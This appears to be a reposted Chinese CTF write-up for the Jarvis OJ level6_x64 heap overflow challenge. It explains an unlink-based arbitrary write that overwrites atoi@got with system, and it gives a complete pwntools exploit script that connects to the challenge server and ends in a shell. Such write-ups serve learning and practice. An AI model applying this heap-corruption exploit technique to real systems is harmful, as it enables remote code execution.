jarvis level6_x64堆溢出unlink拾遗

Posted snip3r

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jarvis level6_x64堆溢出unlink拾遗相关的知识,希望对你有一定的参考价值。

level6 32位的我没有调出来,貌似32位的堆结构和64位不太一样,嘤嘤嘤?,所以做了一下这个64位的,题目地址,level6_x64

首先看一下程序的结构体

struct list    //0x1810
{
    int all=256;
    int now_sum;
    struct _note *note;    
}
struct _note
{
    bool inuse;
    int len;
    char *content;
}

然后看一下出现漏洞的edit和delete函数

所以这一个题只有一种利用方式就是利用溢出unlink实现一次任意地址写,修改atoi@got为system_addr

思路如下:

1.leak heap base计算出保存&chunk0的地址以便unlink

2.unlink

3.leak libc_base

4.modify atoi@got to system to get shell

 

里边的几个坑:

  1.计算heap base的偏移是0x1810+3*0x90,这里调试态的堆是chunk1的fd指向chunk3 的malloc_addr,而运行态是指向chunk3的header.prev,所以计算&chunk0地址的时候需要手动调试下

  2.leak heap base时recv(8)会读到0x0a回车符,并不好使,所以recvuntil(\'\\x0a\',drop=True)来读

  3.构造payload的时候要注意send和realloc的长度限制

脚本如下

from pwn import *

context.log_level=\'DEBUG\'
#r=process(\'./freenote_x64\',env={"LD_PRELOAD":"./libc-2.19.so"})
r=remote(\'pwn2.jarvisoj.com\',9886)
elf=ELF(\'./freenote_x64\')
libc=ELF(\'./libc-2.19.so\')

def list():
    r.sendlineafter(\'choice: \',\'1\')

def new(payload):
    r.sendlineafter(\'choice: \',\'2\')
    r.sendlineafter(\'new note: \',str(len(payload)))
    r.sendafter(\'note: \',payload)

def edit(num,payload):
    r.sendlineafter(\'choice: \',\'3\')
    r.sendlineafter(\'number: \',str(num))
    r.sendlineafter(\'note: \',str(len(payload)))
    r.sendafter(\'your note: \',payload)

def delete(num):
    r.sendlineafter(\'choice: \',\'4\')
    r.sendlineafter(\'number: \',str(num))

#leak heap base
new(\'a\'*0x80)#0
new(\'a\'*0x80)#1
new(\'a\'*0x80)#2
new(\'a\'*0x80)#3
new(\'a\'*0x80)#4
#malloc chunk4 to avoid chunk3 consolidated to topchunk

delete(3)
delete(1)
edit(0,\'a\'*0x80+\'b\'*0x10)
#overwrite next chunk\'header to leak

list()
r.recvuntil(\'b\'*0x10)
heap_base=u64(r.recvuntil(\'\\x0a\',drop=True).ljust(0x8,\'\\x00\'))-0x19c0#0x1810+3*0x90
chunk0=heap_base+0x20
success(\'leak heap base\')
success(\'heapbase:\'+hex(heap_base))
#gdb.attach(r)
sleep(1)

#unlink
payload=p64(0)+p64(0x80)+p64(chunk0-3*8)+p64(chunk0-2*8)+\'a\'*(0x80-4*8)+p64(0x80)+p64(0x90)
payload=payload.ljust(0x100,\'\\xbb\')
edit(0,payload)
#gdb.attach(r)
delete(1)
success(\'unlink\')
sleep(1)

#leak libc base
payload2=p64(2)+p64(1)+p64(0x80)+p64(chunk0)+p64(1)+p64(8)+p64(elf.got[\'atoi\'])
payload2=payload2.ljust(0x100,\'\\xbb\')
edit(0,payload2)
list()
r.recvuntil(\'1. \')
libc_base=u64(r.recvuntil(\'\\x0a\',drop=True).ljust(0x8,\'\\x00\'))-libc.sym[\'atoi\']
success(hex(libc_base))

#modify atoi to system to getshell
sys_addr=libc_base+libc.sym[\'system\']
edit(1,p64(sys_addr))#*(&atoi@got)=sys_addr
r.sendlineafter(\'choice: \',\'/bin/sh\\0\')
r.interactive()

 

以上是关于jarvis level6_x64堆溢出unlink拾遗的主要内容,如果未能解决你的问题,请参考以下文章

Jarvis OJ Pwn writeup

[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup

Jarvis OJ-Smashes

大量内存溢出导致堆大小在大约 8 秒内从大约 64mb 变为 1.5gb。垃圾收集器的问题?

Jarvis OJ - [XMAN]level3 - Writeup——rop2libc尝试

weblogic 内存 及 内存溢出